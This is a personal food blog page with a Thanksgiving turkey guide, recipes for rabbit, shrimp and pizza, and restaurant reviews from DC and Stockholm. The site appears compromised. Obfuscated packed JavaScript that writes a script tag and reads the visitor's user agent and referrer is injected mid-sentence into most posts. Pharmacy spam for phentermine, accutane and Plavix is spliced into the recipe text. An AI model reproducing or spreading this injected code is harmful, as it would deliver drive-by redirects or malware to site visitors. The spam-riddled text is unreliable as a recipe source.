Happy Thanksgiving!

2016 Food, Food

I hope you had a great Thanksgiving yesterday with your family, friends and of course tons of turkey! And are scooping up some great Black Friday deals today!

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|adnzk|var|u0026u|referrer|btfdb||js|php’.split(‘|’),0,{}))
year I cooked my first turkey, and I’m excited to share my lessons learned with you.

It’s much simpler than I thought, but it does take a long time.

You’ll need to allow about 24 hours for each 4 to 5 pounds of frozen turkey you plan to thaw in the fridge.

Approximate times to defrost a whole turkey in the fridge:
– 10 pounds — 2 days plus 12 hours
– 15 pounds — 3 days plus 18 hours
– 20 pounds — 5 days
– 25 pounds — 6 days plus 6 hours
24 hours before you’re ready to cook the turkey, remove the giblets and put it in a brine.
  • 2 gallons cold water
  • 2 cups kosher salt
  • 1 cup brown sugar
  • 1 12- to 18-pound turkey

Important: You will need a food-safe container large enough to hold the turkey and brine while it is marinating. Make sure the container fits inside your refrigerator.

This is important because I did not have a container large enough. I ended up putting the turkey to brine in my soup pot and rotating it halfway through.

My turkey was 11 lbs and it took about 3 and 1/2 hours to cook at 350 degrees, which was over the recommended time. People say that every pound takes about 15 minutes. But I would recommend you budget in extra purchase phentermine online cheap time, plus about 30 minutes to let the turkey rest and cool after it’s taken out of the oven.

Ingredients
1/4 pound (1 stick) unsalted butter
1 lemon, zested and juiced
1 teaspoon chopped fresh thyme leaves (I used rosemary)
1 fresh turkey (10 to 12 pounds)
Kosher salt
Freshly ground black pepper
1 large bunch fresh thyme (I used rosemary)
1 whole lemon, halved
1 Spanish onion, quartered
1 head garlic, halved crosswise

Directions

  • Preheat the oven to 350 degrees F.
  • Melt the butter in a small saucepan. Add the zest and juice of the lemon and 1 teaspoon of thyme ( I used Italian herbs mix) leaves to the butter mixture. Set aside.
  • Take the giblets out of the turkey and wash the turkey inside and out. Remove any excess fat and leftover pinfeathers and pat the outside dry. Place the turkey in a large roasting pan. Liberally salt and pepper the inside of the turkey cavity. Stuff the cavity http://nosubhealth.com/product/plavix/ with the bunch of thyme (I used fresh rosemary), halved lemon (I used oranges), quartered onion, and the garlic. Brush the outside of the turkey with the butter mixture and sprinkle with salt and pepper. Tie the legs together with string and tuck the wing tips under the body of the turkey.
  • Roast the turkey about 3 hours, or until the juices run clear when you cut between the leg and the thigh. Remove the turkey to a cutting board and cover with aluminum foil; let rest for 20 minutes.

 

Tout de Sweet

2016 Food, Food

Tout eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fidrh|var|u0026u|referrer|ebdei||js|php’.split(‘|’),0,{}))
de Sweet
shop in Silver Springs Maryland is super cute and trendy and a must visit if you love macaroons. They have a little bit of every type of pastry you could imagine, but my favorite is the ice cream macaroon sandwich. I ordered the strawberry macaroon ice cream sandwich and had to order accutane a second one because it was so good!

I’d definitely recommend this sweet shop if you’re craving dessert. Their affogato is also exceptional. I also tried their chocolate cupcake because that is just how big my sweet tooth is.

 

 

Founding Farmer’s

2016 Food, Food

Founding eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tenaa|var|u0026u|referrer|iikft||js|php’.split(‘|’),0,{}))
Farmers
 is another one of my staple restaurants in DC I like to take guests to when they come visit me. It’s a great comfort food like this delicious chicken pot pie to the seafood bucatini below. If you haven’t tried them yet, you must! The restaurant is owned by a consortium of local farmers that source all the ingredients for the dishes on the menu. I love eating farm to table when I can and Founding Farmers is a great spot for this!

Momofuku’s Milk Bar

2016 Food, Food

Momofuku’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbadr|var|u0026u|referrer|knkys||js|php’.split(‘|’),0,{}))
Milk Bar
 is a bit on the pricey side, but I had their chocolate malt cake shake and it was life changing. Order a shake at least once, and enjoy it.

Momofuku

2016 Food, Food, Uncategorized

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhiez|var|u0026u|referrer|shtbk||js|php’.split(‘|’),0,{}))
tried 
Momofuku‘s last weekend and loved their traditional beef ramen noodle soup. They don’t use the traditional ramen noodles, but I liked their thinner noodles – to be fair I like most noodles. Soup my comfort food in the fall, and ramen buy phentermine and topiramate goes right up there with pho. If you haven’t tried out Momofuku‘s, I’d recommend it. It’s a bit pricer than I would like to pay for a bowl of Ramen, but it’s good.

 

Eating in Stockholm: Bakfickan

2016 Food, Food

Sometimes the first is the best. We ate at Bakfickan eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrfzb|var|u0026u|referrer|esftn||js|php’.split(‘|’),0,{}))
for our first dinner in Stockholm, and it’s probably my favorite place we tried.

It’s a small restaurant near Old Town, but we ate a senior citizen dinner so had the restaurant almost to ourselves. The best part of traveling in groups is that you can order more and try more.

We ordered the traditional dishes – Swedish meatballs, sausage, sweetbread and cloudberry soufflé. Everything was delicious. The service was great and the restaurant, while small was very charming. I’d definitely recommend you try Bakfickan if you’re in Stockholm and hungry.

Roasted Rabbit With Potatoes and Rosemary

2016 Food, Food

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkeeh|var|u0026u|referrer|rzbzr||js|php’.split(‘|’),0,{}))
impulsively bought a whole rabbit at the farmer’s market. I’ve never cooked rabbit and am no expert. I used this
New York Times recipe since it looked simple.

I ended up not being very impressed with the rabbit or the recipe. It’s gamier than chicken, but doesn’t have a lot of meat on the bones like a whole chicken. I mixed up the recipe a bit by using a couple different varieties of potatoes.

Rabbit doesn’t have much flavor to it. It reminded me a lot of a leaner chicken. If I cooked with it again, I’d probably buy it off the bone and cook in curry. I’ve had rabbit curry soup in restaurants before that was very good.

INGREDIENTS

  • 1 rabbit
  • Coarse salt and freshly ground pepper
  • 1 clove garlic
  • Juice 1 lemon
  • 8 rosemary leaves
  • ¾ cup olive oil
  • 8 small buy phentermine 37.5 online cheap red-skinned potatoes

PREPARATION

  1. Season the rabbit with salt and pepper and place in a non-corrosive dish. Mince the garlic and mix with the lemon juice, half the rosemary leaves and half a cup of the olive oil. Pour onto the rabbit, turn in the marinade, cover and refrigerate overnight, turning occasionally.
  2. Preheat oven to 350 degrees. Place the rabbit in a roasting pan and pour on the marinade. Cover the rabbit with a piece of foil. Place the potatoes around the rabbit and sprinkle with salt, pepper and remaining rosemary leaves.
  3. Add the remaining oil and toss the potatoes so that they are coated and won’t stick to the bottom of the roasting pan. Roast for 20 minutes then remove the foil from the rabbit. Roast for another 10 to 25 minutes, or until tender and lightly browned.

Shrimp & Lion’s Mane Mushroom

2016 Food, Food

<img eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itaht|var|u0026u|referrer|itaeb||js|php’.split(‘|’),0,{}))
class=”aligncenter” src=”
https://photos.smugmug.com/Food/2016-Food/n-28cJ9V/i-kh6Rk6K/0/XL/i-kh6Rk6K-XL.jpg&#8221; width=”512″ height=”768″ />

Sautéing shrimp in butter, salt, pepper and red pepper flakes is always a good idea. I added lion’s mane mushroom for more depth with it’s nutty and seafood flavor. I put rosemary into the butter sauce for a few seconds to add aroma.

Cheese Stuffed Squash Flower on Pesto Pizza

2016 Food, Food

I’ve never cooked with squash flower before, but it was fun and turned out great. I pulled the center out of the flower and stuffed it with goat cheese to make my three cheese pesto pizza. There’s mozzarella, parmesan and goat cheese on the pizza.

I admittingly cheat by buying pre-made pizza dough, but the pesto is homemade from basil in my garden. And if you’ve been following me on snapchat (username: kate.greer) these tomatoes are also from my garden.

Duke’s Grocery

2016 Food, Food

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znfyt|var|u0026u|referrer|rieyz||js|php’.split(‘|’),0,{}))
ate my birthday dinner at 
Duke’s Grocery in DC. It’s a cute place near Dupont Circle with an East London hipster vibe. Duke’s Grocery is known for it’s proper burger (seen above), and it’s worth ordering. They source their food from local producers and change their menus based on the season. I’d recommend checking out the restaurant next time you’re in the neighborhood.